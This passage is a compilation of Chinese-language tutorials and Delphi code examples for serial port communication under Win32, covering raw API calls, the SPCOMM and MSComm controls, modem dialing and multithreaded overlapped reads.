i := 1; j := 0; btstr := ''; bytebegin := false;
while (i<=Length(str1)) do
begin
case str1[i] of
'0'..'9', 'a'..'f', 'A'..'F' :
begin
if not bytebegin then bytebegin := true;
btstr := btstr + str1[i];
end;
' ' : begin
if bytebegin then
begin
btstr := '$'+btstr;
char1[j] := Chr(StrToInt(btstr));
j := j + 1; bytebegin := false; btstr := '';
end;
end;

end;
i := i +
1;
end;
if bytebegin
then
begin
btstr :=
'$'+btstr;
char1[j] :=
Chr(StrToInt(btstr));
j := j +
1;       bytebegin :=
false;       btstr := '';
end;
char1[j] := Chr(0);
SendLen := j;
end
else
begin
StrPCopy(Addr(char1),
str1);
SendLen := Length(str1);
end;
end;
procedure TComm.SendCmd;
begin
case
FMode of
cmStr : SendStrCmd;
cmBytes :
SendBytesCmd;
end;
end;
procedure
TComm.SendBytesCmd;
begin
State := 1; Hint :=
FPort+'-等待';

Refresh;   WaitOn := False;
if not Connected then
Connect;
if Connected then begin
FlushComm(hCommDev, 0);
FlushComm(hCommDev,
1);
FillChar(pool, 32, 0);
WriteComm(hCommDev, CmdChar, SendLen);
CmdStr :=
'';
FillChar(CmdChar, 32,
0);
WaitOn := True;
CommBeginTime := Now;
end
else
begin
State := 3;
Hint :=
FPort+'-错误';
Invalidate;
end;
end;
procedure TComm.SendStrCmd;
begin
DecodeCmd(CmdStr, CmdChar);

State := 1; Hint := FPort+'-等待';
Refresh;   WaitOn
:= False;
if not Connected then Connect;
if
Connected then begin
FlushComm(hCommDev,
0);
FlushComm(hCommDev, 1);
FillChar(pool, 32, 0);
WriteComm(hCommDev,
CmdChar, SendLen);
CmdStr :=
'';
FillChar(CmdChar, 32,
0);
WaitOn := True;
CommBeginTime := Now;
end   else
begin
State := 3; Hint :=
FPort+'-错误';
Invalidate;
end;
end;
procedure TComm.ClearSigns;

begin
ReadComm(hCommDev, pool, stat.cbInQue);
pool[stat.cbInQue] := #0;
if WaitOn then
begin
State := 2; Hint :=
FPort+'-超时';
Refresh;     WaitOn
:= False;
end;
CommBeginTime := Now;
FlushComm(hCommDev, 0);
FlushComm(hCommDev, 1);
end;
procedure TComm.LoadData;
begin
ReadComm(hCommDev, pool, stat.cbInQue);
pool[stat.cbInQue] := #0;
ms.Seek(0,0);
ms.Write(pool,
FWaitByteNum);
State := 0; Hint :=
FPort+'-空闲';
Refresh;   WaitOn := False;

end;
procedure TComm.HardWait;
begin
while Connected and WaitOn do begin
Query;
end; end;
procedure TComm.CommQuery(Sender : TObject);
begin
Query;
end;
procedure TComm.Query;
var Hour, Min, Sec, MSec : Word;
begin
if Connected and WaitOn and (FWaitByteNum > 0) then
begin
GetCommError(hCommDev, stat);
if stat.cbInQue >= FWaitByteNum then begin
LoadData;
if Assigned(FOnDataLoad) then FOnDataLoad(self);
end
else begin
DecodeTime(Now-CommBeginTime, Hour, Min, Sec, MSec); { Communication Timeout Falure }

if (Sec > FTimeOut) or((FTimeOut = 0) and (MSec > 500)) then
begin
ClearSigns;
if
Assigned(FOnTimeOut) then FOnTimeOut(self);
end;
end;
end;
end;
procedure TComm.Excute;
begin
if
not WaitOn then SendCmd;
end;
procedure TComm.Free;
begin
if Connected then begin
Connected := False;     ClearSigns;
CloseComm(hCommDev);
end; end;
function
TComm.GetData(Offset : word) : Char;
begin
if Offset <=
FWaitByteNum then begin     Result :=
pool[Offset];

end; end;
end. --
///////////////////////////////////////////////
procedure TForm1.Button1Click(Sender: TObject);
var
lpszNumeCom : PChar;
dwAccessType : DWORD;
dwCreationType : DWORD;
creationDCB : TDCB;
hPort : THandle;
buffer : array[0..55] of char;
actRead : integer;
begin
{Some initial settings: I am working with COM2 in read/write}
lpszNumeCom := '//./COM2';
dwAccessType := GENERIC_READ or GENERIC_WRITE;
dwCreationType := OPEN_EXISTING;
hPort := CreateFile(lpszNumeCom,dwAccessType,0,Nil,dwCreationType,0,0);

{here I have the handle for the COM port}
try
if hPort <> INVALID_HANDLE_VALUE then
begin
{Settings for COM : 600bauds, 8,E,1}
GetCommState(hport,creationDCB);
creationDCB.BaudRate := 600;
creationDCB.Parity := EVENPARITY;
creationDCB.ByteSize := 8;
creationDCB.StopBits := ONESTOPBIT;
{Settings for the control type, here I am reading from a Proximity
card
reader and use only the RX line}
creationDCB.Flags := creationDCB.Flags + DTR_CONTROL_DISABLE
+ RTS_CONTROL_DISABLE;
if SetCommState(hPort,creationDCB) then
begin
PurgeComm(hPort,PURGE_RXCLEAR);
{Here I actually can read data from COM}
{The next function call will not return until it actually reads
data
from the serial port}
ReadFile(hPort,buffer,56,actRead,nil);
PurgeComm(hPort,PURGE_RXCLEAR);
{in buffer you have data readed from the port}
begin
{Do something usefull with data}
end
end
end;
finally
CloseHandle(hPort);
end;
end;

fUnit: DWORD; { Unit descriptor handle}
fUnitDescriptor: string; { Unit descriptor Pascal string }

fUnitDescriptor := 'COM2';

procedure TRs232.OpenPort(descriptor: PChar);
begin
fUnit := CreateFile(descriptor, GENERIC_READ or GENERIC_WRITE,
0,nil,OPEN_EXISTING,0,0);
end;

function TRs232.GetOpenPortError: BOOLEAN;
var
isOK: BOOLEAN;
Error: DWORD;

begin
isOK:=(fUnit <> INVALID_HANDLE_VALUE); //DWORD(-1)
if not isOK then
begin
Error := GetLastError;
{case fUnit of}
case Error of
IE_BADID: ShowMessage('"' + fUnitDescriptor + '" invalid or unsupported');
IE_BAUDRATE: ShowMessage('"' + fUnitDescriptor + '" baudrate unsupported');
IE_BYTESIZE: ShowMessage('Specified bytesize is invalid');
IE_DEFAULT: ShowMessage('Default parameters are in error');
IE_HARDWARE: ShowMessage('"' + fUnitDescriptor + '" not available');
IE_MEMORY: ShowMessage('"' + fUnitDescriptor + '" - unable to allocate queues');
IE_NOPEN: ShowMessage('"' + fUnitDescriptor + '" is not open');
IE_OPEN: ShowMessage('"' + fUnitDescriptor + '" is already open');
else
{ShowMessage('Note: "' + fUnitDescriptor + '" returned error ' +
IntToStr(Error)); }
end;
end;
Result:=isOK;
end;

function TRs232.Output(lpBuffer: PChar): BOOLEAN;
var
lpBytesSent,nBufferSize: LongWord;

begin
nBufferSize := StrLen(lpBuffer);
Result := WriteFile(fUnit, //handle to file to write to
lpBuffer, // pointer to data to write to file
nBufferSize, // number of bytes to write
lpBytesSent, // pointer to number of bytes written
nil); // pointer to structure needed for overlapped IO

end;

function TRs232.Enter(nBytesToRead: LongWord; lpString: PChar; var
lpBytesRead: LongWord): BOOLEAN;

begin

Result := ReadFile(fUnit,
lpString,
nBytesToRead,
lpBytesRead,
nil);
end;

destructor TRs232.Destroy;
begin
if not CloseHandle(fUnit) then
ShowMessage('Error closing port "' + fUnitDescriptor + '"');
inherited Destroy;
end;


SPCOMM控件例子

现时DELPHI上有很多串行口控件，SPCOMM控件有Data Bits、Parity、 Stop Bits 等配置，支持 Read/Write 时序控制 (Timing control)、 ReadIntervalTimeout、 WriteIntervalTimout 等 ，支持 DTR/DSR, RTS/CTS 硬件流程控置及 Xon/Xoff 软件流程控置，是目前比较完善的控件。 以下是一个用RS-232进行数据接收、显示的例子。必须将RS232的通信参数设置好才能正确接收数据。（Data Bits,Parity,Stop Bits,COM口参数）
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, SPComm;
type
TForm1 = class(TForm)
Comm1: TComm;
Memo1: TMemo;
procedure Comm1ReceiveData(Sender: TObject; Buffer: Pointer;

BufferLength: Word);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Comm1ReceiveData(Sender: TObject; Buffer: Pointer;
BufferLength: Word);
var
s: string;
begin
SetLength(S, BufferLength); //接收RS232的数据并显示Memo1上。
Move(Buffer^, PChar(S)^, BufferLength);
Memo1.Lines.Add(S);
Memo1.Invalidate;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Comm1.startcomm;//创建窗体时，将comm1控件打开。
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
comm1.StopComm;//关闭窗体时，将comm1控件关闭。
end;
end.


通过Modem拨号

var
hCommFile : THandle;

procedure TForm1.Button1Click(Sender: TObject);
var
PhoneNumber : string;
CommPort : string;
NumberWritten : LongInt;
begin
PhoneNumber := 'ATDT 1-555-555-1212' + #13 + #10;
CommPort := 'COM2';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile=INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;

{Dial the phone}
NumberWritten:=0;
if WriteFile(hCommFile,
PChar(PhoneNumber)^,
Length(PhoneNumber),
NumberWritten,
nil) = false then begin
ShowMessage('Unable to write to ' + CommPort);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
{Close the
port}
CloseHandle(hCommFile);
end;


串行通信的实现

---- 基 于WIN95/NT 的 串 行 通 信 机 制
---- Windows 操 作 系 统 的 机 制 禁 止 应 用 程 序 直 接 访 问 计 算 机 硬 件， 但 它 为 程 序
员 提 供 了 一 系 列 的 标 准API 函 数， 使 得 应 用 程 序 的 编 制 更 加 方 便 并 且 免 除 了
对 有 关 硬 件 的 调 试 麻 烦。 在Windows95/NT 中， 原 来Windows3.X 的WM_COMMNOTIFY 消 息
已 被 取 消， 操 作 系 统 为 每 个 通 信 设 备 开 辟 了 用 户 可 定 义 大 小 的 读/ 写 缓 冲
区， 数 据 进 出 通 信 口 均 由 操 作 系 统 后 台 完 成， 应 用 程 序 只 需 对 读/ 写 缓 冲 区
操 作 即 可。WIN95/NT 中 几 个 常 用 的 串 行 通 信 操 作 函 数 如 下：
CreatFile
打 开 串 行 口
CloseHandle
关 闭 串 行 口
SetupComm
设 置 通 信 缓 冲 区 的 大 小
ReadFile
读 串 口 操 作
WriteFile
写 串 口 操 作
SetCommState
设 置 通 信 参 数
GetCommState
获 取 默 认 通 信 参 数
ClearCommError
清 除 串 口 错 误 并 获 取 当 前 状 态
---- 除 上 述 几 个 函 数 外， 还 要 经 常 用 到 一 个 重 要 的 记 录DCB（ 设 备 控 制
块）。DCB 中 记 录 有 可 定 义 的 串 行 口 参 数， 设 置 串 行 口 参 数 时 必 须 先 用
GetCommState 函 数 将 系 统 默 认 值 填 入DCB 控 制 块， 然 后 才 可 把 用 户 想 改 变 的 自 定
义 值 设 定。
---- 在WIN95/NT 中 进 行 串 行 通 信 除 了 解 基 本 的 通 信 操 作 函 数 外， 还 要 掌 握 多 线
程 编 程。 线 程 是 进 程 内 部 执 行 的 路 径， 是 操 作 系 统 分 配CPU 时 间 的 基 本 实
体。 每 个 进 程 都 由 单 线 程 开 始 完 成 应 用 程 序 的 执 行。 串 行 通 信 需 要 利 用 多
线 程 技 术 实 现， 其 主 要 的 处 理 逻 辑 可 以 表 述 如 下： 进 程 一 开 始 先 由 主 线 程
做 一 些 必 要 的 初 始 化 工 作， 然 后 主 线 程 根 据 需 要 在 适 当 时 候 建 立 通 信 监 视
线 程 监 视 通 信 口， 当 指 定 的 串 行 口 事 件 发 生 时， 向 主 线 程 发 送
WM_COMMNOTIFY 消 息( 由 于WIN95 取 消 了WM_COMMNOTIFY 消 息， 因 此 必 须 自 己 创
建）， 主 线 程 对 其 进 行 处 理。 若 不 需 要WM_COMMNOTIFY 消 息， 则 主 线 程 终 止 通
信 监 视 线 程。
---- 多 线 程 同 时 执 行， 将 会 引 起 对 共 享 资 源 的 冲 突。 为 避 免 冲 突， 就 要 用 同
步 多 线 程 对 共 享 资 源 进 行 访 问。WIN95 提 供 了 许 多 保 持 线 程 同 步 的 方 法， 笔
者 采 用 创 建 事 件 对 象 来 保 持 线 程 同 步。 通 过CraeteEvent（） 创 建 事 件 对 象， 使
用SetEvent（） 或PulseEvent（） 函 数 将 事 件 对 象 设 置 成 信 号 同 步。 在 应 用 程 序 中，
利 用WaitSingleObject（） 函 数 等 待 同 步 的 触 发， 等 到 指 定 的 事 件 被 其 它 线 程 设 置
为 有 信 号 时， 才 继 续 向 下 执 行 程 序。
---- Delphi 下 的 具 体 实 现 方 法
---- Delphi 的 强 大 功 能 和 支 持 多 线 程 的 面 向 对 象 编 程 技 术， 使 得 实 现 串 行 通 信
非 常 简 单 方 便。 它 通 过 调 用 外 部 的API 函 数 来 实 现， 主 要 步 骤 如 下： 首 先， 利
用CreateFile 函 数 打 开 串 行 口， 以 确 定 本 应 用 程 序 对 此 串 行 口 的 占 有 权， 并 封
锁 其 它 应 用 程 序 对 此 串 口 的 操 作； 其 次， 通 过GetCommState 函 数 填 充 设 备 控 制
块DCB， 再 通 过 调 用SetCommState 函 数 配 置 串 行 口 的 波 特 率、 数 据 位、 校 验 位 和
停 止 位。 然 后， 创 建 串 行 口 监 视 线 程 监 视 串 行 口 事 件。 在 此 基 础 上 就 可 以
在 相 应 的 串 口 上 操 作 数 据 的 传 输； 最 后， 用CloseHandle 函 数 关 闭 串 行 口。 具 体
的 程 序 如 下， 本 程 序 用Delphi3.0 编 制 在Win95 环t 境 下 调 试 通 过， 已 投 入 实 际 应 用
中， 供 广 大 读 者 参 考。
---- 程 序：
unit comdemou;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs;
const
Wm_commNotify=Wm_User+12;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
Procedure comminitialize;
Procedure MsgcommProcess(Var
Message:Tmessage); Message Wm_commnotify;
{ Private declarations }
public
{ Public declarations }
end;
//线程声明
TComm=Class(TThread)
protected
procedure Execute;override;
end;
var
Form1: TForm1;
hcom,Post_Event:Thandle;
lpol:Poverlapped;
implementation
{$R *.DFM}
Procedure TComm.Execute; //线程执行过程
var
dwEvtMask:Dword;
Wait:Boolean;
Begin
fillchar(lpol,sizeof(toverlapped),0);
While True do Begin
dwEvtMask:=0;
Wait:=WaitCommEvent(hcom,dwevtmask,lpol);
//等待串行口事件；
if Wait Then Begin
waitforsingleobject(post_event,infinite);
//等待同步事件置位；
resetevent(post_event); //同步事件复位；
PostMessage(Form1.Handle,
WM_COMMNOTIFY,0,0);//发送消息；
end;
end;
end;
procedure Tform1.comminitialize;
//串行口初始化
var
lpdcb:Tdcb;
Begin
hcom:=createfile('com2',generic_read or
generic_write,0,nil,open_existing,
file_attribute_normal or
file_flag_overlapped,0);//打开串行口
if hcom=invalid_handle_value then
else
setupcomm(hcom,4096,4096);
//设置输入，输出缓冲区皆为4096字节
getcommstate(hcom,lpdcb);
//获取串行口当前默认设置
lpdcb.baudrate:=2400;
lpdcb.StopBits:=1;
lpdcb.ByteSize:=8;
lpdcb.Parity:=EvenParity; //偶校验
Setcommstate(hcom,lpdcb);
setcommMask(hcom,ev_rxchar);
//指定串行口事件为接收到字符；
end;
Procedure TForm1.Msgcomm
Process(Var Message:Tmessage);
var
Clear:Boolean;
Coms:Tcomstat;
cbNum,ReadNumber,lpErrors:Integer;
Read_Buffer:array[1..100]of char;
Begin
Clear:=Clearcommerror(hcom,lpErrors,@Coms);
if Clear Then Begin
cbNum:=Coms.cbInQue;
ReadFile(hCom,Read_Buffer,
cbNum,ReadNumber,lpol);
//处理接收数据
SetEvent(Post_Event);
//同步事件置位
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
comminitialize;
post_event:=CreateEvent
(nil,true,true,nil); //创建同步事件；
Tcomm.Create(False);
//创建串行口监视线程；
end;
end.

    用Delphi开发串口通信软件一般有两种方法：一是利用Windows的通信API函数
，另一种是采用Microsoft的MSComm控件。利用API编写串口通信程序较为复杂，需
要掌握大量通信知识，其优点是可实现的功能更强大，应用面更广泛，更适合于编
写较为复杂的低层次通信程序。而利用MSComm控件则相对较简单，该控件具有丰富
的与串口通信密切相关的属性及事件，提供了对串口的各种操作。
    一、MSComm控件的主要属性及事件
    （1）CommPort：设置或返回串行端口号，缺省为1。
    （2）Setting：设置或返回串口通信参数，格式为“波特率，奇偶校验位，数
据位，停止位”。例如：MSComm1.Setting:='9600,n,8,1'
    （3）PortOpen：打开或关闭串行端口，格式为：MSComm1.PortOpen:
={True|False}
    （4）InBufferSize：设置或返回接收缓冲区的大小，缺省值为1024字节。
    （5）InBufferCount：返回接收缓冲区内等待读取的字节数，可通过设置该属
性为0来清空接收缓冲区。
    （6）RThreshold：该属性为一阀值，它确定当接收缓冲区内的字节个数达到
或超过该值后就产生代码为ComEvReceive的OnComm事件。
    （7）SThreshold：该属性为一阀值，它确定当发送缓冲区内的字节个数少于
该值后就产生代码为ComEvSend的OnComm事件。
    （8）InputLen：设置或返回接收缓冲区内用Input读入的字节数，设置该属性
为0表示Input读取整个缓冲区的内容。
    （9）Input：从接收缓冲区读取一串字符。
    （10）OutBufferSize：设置或返回发送缓冲区的大小，缺省值为512字节。
    （11）OutBufferCount：返回发送缓冲区内等待发送的字节数，可通过设置该
属性为0来清空缓冲区。
    （12）OutPut：向发送缓冲区传送一串字符。
    如果在通信过程中发生错误或事件，就会引发OnComm事件，并由CommEvent属
性代码反映错误类型，在通信程序的设计中可根据该属性值来执行不同的操作。
CommEvent属性值及其含义如下：
    （1）ComEvSend：值为1，发送缓冲区的内容少于SThreshold指定的值。
    （2）ComEvReceive：值为2，接收缓冲区内字符数达到RThreshold指定的值。

    （3）ComEvFrame：值为1004，硬件检测到帧错误。
    （4）ComEvRxOver：值为1008，接收缓冲区溢出。
    （5）ComEvTxFull：值为1010，发送缓冲区溢出。
    （6）ComEvRxParity：值为1009，奇偶校验错误。
    （7）ComEvEOF：值为7，接收数据中出现文件尾（ASCII码为26）字符。
    二、程序样例
    在Delphi3.0中无法使用MSComm控件，笔者使用的是Delphi5.0。MSComm控件是
VB中的OCX控件，首先需要将其添加到Delphi中，选择菜单“Component”→“
Import ActiveX Control”，在“Import ActiveX”页内选择“Microsoft Comm
Control”，点击“Install”安装，安装后在“ActiveX”组件板中出现MSComm图
标，即可被使用。有一点要注意，在Object Inspector中MSComm控件的Input和
Output属性是不可见的，但它们仍然存在，这两个属性的类型是OleVariant（Ole
万能变量）。
    下面是一接收程序的样例（主要部分），大家可根据实际需要进行完善。
    在Form中放置一Memo控件用于显示接收的数据，Combobox1选择通信参数（
Setting属性值），Combobox2选择串口（CommPort属性值），按Button1开始接收
数据，按Button2停止接收。
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Mscomm1.InBufferCount :=0; // 清空接收缓冲区
    Mscomm1.InputLen :=0; // Input读取整个缓冲区内容
    Mscomm1.RThreshold :=1; // 每次接收到字符即产生OnComm事件
    end;
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    Mscomm1.Settings :=ComboBox1.Text;
    if ComboBox2.Text ='com1' then // 假设只考虑com1和com2两种情况
        Mscomm1.CommPort :=1
    else
        Mscomm1.CommPort :=2;
    Mscomm1.PortOpen :=true; // 打开串口
    Mscomm1.DTREnable :=true; // 数据终端准备好
    Mscomm1.RTSEnable :=true; // 请求发送
    end;
    procedure TForm1.Button2Click(Sender: TObject);
    begin
    Mscomm1.PortOpen :=false; // 关闭串口
     Mscomm1.DTREnable :=false;
    Mscomm1.RTSEnable :=false;
    end;
    procedure TForm1.MSComm1Comm(Sender: TObject);
    var
    recstr:Olevariant;
    begin
      if Mscomm1.CommEvent = 2 then
        begin
    recstr := Mscomm1.Input ;
    Memo1.text := Memo1.Text ＋ recstr;
    end;
    end;
  （江西 万雪勇）

Delphi中串口通信的实现

河南省计算中心 张海航

Delphi是一种具有功能强大、简便易用和代码执行速度快等优点的可视化快速应用开发工具，它在构架企业信息系统方面发挥着越来越重要的作用，许多程序员愿意选择 Delphi作为开发工具编制各种应用程序。但是，美中不足之处是 Delphi没有自带的串口通信控件，在它的帮助文档里也没有提及串口通信，这就给编制通信程序的开发人员带来许多不便。

目前，利用 Delphi实现串口通信的常用的方法有 3种：一是利用控件，如 MSCOMM控件和 SPCOMM控件；二是使用 API函数；三是调用其他串口通信程序。其中利用 API编写串口通信程序较为复杂，需要掌握大量的通信知识。相比较而言，利用 SPCOMM控件则相对较简单，并且该控件具有丰富的与串口通信密切相关的属性及事件，提供了对串口的各种操作，而且还支持多线程。下面本文结合实例详细介绍 SPCOMM控件的使用。

SPCOMM的安装

1．选择下拉菜单 Component中的 Install Component选项，弹出窗口。

在 Unit file name处填写 SPCOMM控件所在的路径，其他各项可用默认值，点击 OK按钮。

2．安装后，在 System控件面板中将出现一个红色控件 COM。现在就可以像 Delphi自带控件一样使用 COM控件了。

SPCOMM的属性、方法和事件

1.属性

●CommName：表示 COM1、 COM2等串口的名字；

●BaudRate:根据实际需要设定的波特率，在串口打开后也可更改此值，实际波特率随之更改；

●ParityCheck：表示是否需要奇偶校验；

●ByteSize：根据实际情况设定的字节长度；

●Parity：奇偶校验位；

●StopBits：停止位；

●SendDataEmpty：这是一个布尔型属性，为 true时表示发送缓存为空，或者发送队列里没有信息；为 false时表示发送缓存不为空，或者发送队列里有信息。

2．方法

●Startcomm方法用于打开串口，当打开失败时通常会报错。错误主要有 7种：⑴串口已经打开；⑵打开串口错误；⑶文件句柄不是通信句柄；⑷不能够安装通信缓存；⑸不能产生事件；⑹不能产生读进程；⑺不能产生写进程；

●StopComm方法用于关闭串口，没有返回值；

●WriteCommData(pDataToWrite: PChar;dwSizeofDataToWrite:Word )方法是个带有布尔型返回值的函数，用于将一个字符串发送到写进程，发送成功返回 true，发送失败返回 false。执行此函数将立即得到返回值，发送操作随后执行。该函数有两个参数，其中 pDataToWrite是要发送的字符串， dwSizeofDataToWrite是发送字符串的长度。

3．事件

●OnReceiveData :procedure (Sender: TObject;Buffer: Pointer;BufferLength: Word) of object

当有数据输入缓存时将触发该事件，在这里可以对从串口收到的数据进行处理。 Buffer中是收到的数据， BufferLength是收到的数据长度。

●OnReceiveError : procedure(Sender: TObject; EventMask : DWORD)

当接收数据出现错误时将触发该事件。

SPCOMM的使用

下面是一个利用 SPCOMM控件的串口通信的例子。

以实现 PC机与单片机 8051之间的通信为例，首先要调通它们之间的握手信号。假定它们之间的通信协议是： PC到 8051一帧数据 6个字节， 8051到 PC一帧数据也为 6个字节。当 PC发出（ F0,01,FF,FF,01,F0）后 8051能收到一帧（ F0,01,FF,FF,01,F0），表示数据通信握手成功，两者之间就可以按照协议相互传输数据。

创建一个新的工程 COMM.DPR，把窗体的 NAME属性定为 FCOMM，把窗体的标题定义为测试通信，按照图 2添加控件 (图 2中黑色矩形围住的控件即为 COMM1)。

图 2

1.设定 COMM1属性：

●波特率： 4800；

●奇偶校验位：无；

●字节长度： 8；

●停止位： 1；

●串口： COM1。

Memo1中将显示发送和接收的数据。将新的窗体存储为 Comm.pas。

2.编写源代码

//变量说明

var

fcomm: TFCOMM;

viewstring:string;

i:integer;

rbuf,sbuf:array[16] of byte;

//打开串口

procedure TFCOMM.FormShow(Sender: TObject);

begin

comm1.StartComm;

end;

//关闭串口

procedure TFCOMM.FormClose(Sender: TObject; var Action: TCloseAction);

begin

comm1.StopComm;

end;

//自定义发送数据过程

procedure senddata;

var

i:integer;

commflg:boolean;

begin

viewstring:=‘’ ;

commflg:=true;

for i:=1 to 6 do

begin

if not fcomm.comm1.writecommdata(@sbuf[i],1) then

begin

commflg:=false;

break;

end;

//发送时字节间的延时

sleep(2);

viewstring:=viewstring＋ inttohex(sbuf[i],2)＋‘’ ; end;

viewstring:=‘发送’＋ viewstring;

fcomm.memo1.lines.add(viewstring);

fcomm.memo1.lines.add(‘’ );

if not commflg then messagedlg(‘发送失败 !’ ,mterror,[mbyes],0);

end;

//发送按钮的点击事件

procedure TFCOMM.Btn_sendClick(Sender: TObject);

begin

sbuf[1]:=byte(＄ f0); //帧头

sbuf[2]:=byte(＄ 01); //命令号

sbuf[3]:=byte(＄ ff);

sbuf[4]:=byte(＄ ff);

sbuf[5]:=byte(＄ 01);

sbuf[6]:=byte(＄ f0); //帧尾

senddata;//调用发送函数

end;

//接收过程

procedure TFCOMM.Comm1ReceiveData(Sender: TObject; Buffer: Pointer;BufferLength: Word);

var

i:integer;

begin

viewstring:=‘’ ;

move(buffer^,pchar(@rbuf^),bufferlength);

for i:=1 to bufferlength do

viewstring:=viewstring＋ inttohex(rbuf[i],2)＋‘’ ;

viewstring:=‘接收’＋ viewstring;

memo1.lines.add(viewstring);

memo1.lines.add(‘’ );
end;

如果 memo1上显示发送 F0 01 FF FF 01 F0和接收到 F0 01 FF FF 01 F0，这表示串口已正确地发送出数据并正确地接收到数据，则串口通信成功。


用DELPHI进行 Win32环境下串行通讯的程序设计

张秀德 姜新通 张冬生

     摘要 由于在Delphi环境中没有提供通讯控件，本文介绍了用Delphi4.0实现的Win32环境下基于线程的串行通讯程序设计，能适当降低数据丢失率以及提高系统可靠性，并给出了一个通讯程序实例。

关键词 串行通讯 多线程 程序设计

在自动化工业控制应用中，经常需要计算机与外围设备进行数据通讯。而异步串行通讯是一种常用的通讯手段。在单任务操作系统中，不能同时处理两件以上不同的任务。Win32是基于线程的多任务操作系统，使得应用程序能同时执行多个任务，即在一个进程中可同时运行多个线程。利用Win32的这个特点，在通讯过程中可以适当降低数据丢失率，提高系统可靠性。

随着Win95系统的逐步普及，程序员们更愿意在Win95下编程。而Delphi也越来越为广大程序员所喜爱。然而，令人遗憾的是在Delphi环境中没有象其它的一些编程语言一样提供标准通讯控件。因此，利用Delphi进行通讯程序设计时，不但要掌握多线程编程技术，还要了解一些与通讯相关的API函数的使用。

一 多线程基本概念

首先介绍进程概念。一个进程通常定义为程序的一个实例。在Win32中，进程占据4GB地址空间。实际上，一个进程可以包含几个线程，它们可以同时执行进程的地址空间中的代码。为了运行所有这些线程，操作系统以轮转方式为每个独立线程分配一些CPU时间片。这给人一种假象，好像这些线程是在同时运行。创建一个Win32进程时，它的第一个线程称为主线程，由系统自动生成。然后可由主线程生成其它的线程，这些线程又可生成更多的线程。

线程描述了进程内的执行，是组成进程的基本单位。每次初始化一个进程时，系统创建一个主线程。通常对于许多应用程序，主线程是应用程序的唯一线程。但是，进程也可以创建额外的线程，目的在于尽可能充分合理的利用CPU时间。线程可以使用CreateThread()函数来创建。

在有若干线程并行运行的环境里，同步各不同线程活动的能力是非常重要的，这样可以避免对共享资源的访问冲突。事件对象是同步线程的最基本形式，它用以向其它线程发信号以表示某一操作已经完成。例如，一个进程可能运行了两个线程。第一个线程从文件读数据到内存缓冲区中。每当数据已被读入，第一个线程就发信号给第二个线程它可以处理数据了。当第二个线程完成了对数据的处理时，它可能需要再次给第一个线程发信号以让第一个线程能够从文件中读入下一块数据。事件可以使用CreateEvent()函数来创建。线程和事件在任何时候都处于两种状态之一：有信号和无信号。当线程被创建和正在运行时，它是无信号的。一旦线程终止，它就变成有信号的。线程可以通过使用SetEvent()和ResetEvent()函数来将事件置成有信号和无信号。

除了以上介绍的概念和函数，在通讯程序中还要用到等待函数WaitForSingleObject()和重叠I/O操作。等待函数能使线程阻塞自身执行，而重叠I/O操作能使费时的操作在后台中运行。

二 通讯程序设计

在Windows环境下，对于串行通讯的控制是通过中断机制驱动的，由系统自行处理。Windows禁止应用程序直接和硬件打交道，程序员只能使用Windows提供的标准函数通过通讯驱动程序与硬件接口。首先，用CreateFile()函数打开通讯端口，然后通过SetupComm()
    函数给通讯的输入输出队列分配一定大小的内存缓冲区，接着通过BuildCommDCB()函数
    和SetCommState()等函数对主要通讯参数进行设置。初始化完成后就可以利用ReadFile()函数和
    WriteFile() 函数对通讯端口进行读写操作了。程序界面如图所示。

本文提供的实例程序使用简单方便。利用一条串行数据线连接在两台计算机Com2之间就可以进行文本文件传输。对于Delphi的具体编程方法这里不再赘述。实例中有详细注释。

unit comunate;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, Buttons, StdCtrls, ComCtrls;

const

WM_COMMNOTIFY = WM_USER + 1; // 通讯消息

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

Button3: TButton;

Button4: TButton;

OpenDialog1: TOpenDialog;

Label1: TLabel;

BitBtn1: TBitBtn;

RichEdit1: TRichEdit;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

procedure Button4Click(Sender: TObject);

private

{ Private declarations }

procedure WMCOMMNOTIFY(var Message :TMessage);message WM_COMMNOTIFY;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

var

hNewCommFile,Post_Event: THandle;

Read_os : Toverlapped;

Receive :Boolean;

ReceiveData : Dword;

procedure AddToMemo(Str:PChar;Len:Dword); // 接收的数据送入显示区

begin

str[Len]:=#0;

Form1.RichEdit1.Text:=Form1.RichEdit1.Text+StrPas(str);

end;

procedure CommWatch(Ptr:Pointer);stdcall; // 通讯监视线程

var

dwEvtMask,dwTranser : Dword;

Ok : Boolean;

Os : Toverlapped;

begin

Receive :=True;

FillChar(Os,SizeOf(Os),0);

Os.hEvent :=CreateEvent(nil,True,False,nil); // 创建重叠读事件对象

if Os.hEvent=null then

begin

MessageBox(0,'Os.Event Create Error !','Notice',MB_OK);

Exit;

end;

if (not SetCommMask(hNewCommFile,EV_RXCHAR)) then

begin

MessageBox(0,'SetCommMask Error !','Notice',MB_OK);

Exit;

end;

while(Receive) do

begin

dwEvtMask:=0;

// 等待通讯事件发生

if not WaitCommEvent(hNewCommFile,dwEvtMask,@Os) then

begin

if ERROR_IO_PENDING=GetLastError then

GetOverLappedResult(hNewCommFile,Os,dwTranser,True)

end;

if ((dwEvtMask and EV_RXCHAR)=EV_RXCHAR) then

begin

// 等待允许传递WM_COMMNOTIFY通讯消息

WaitForSingleObject(Post_event,INFINITE);

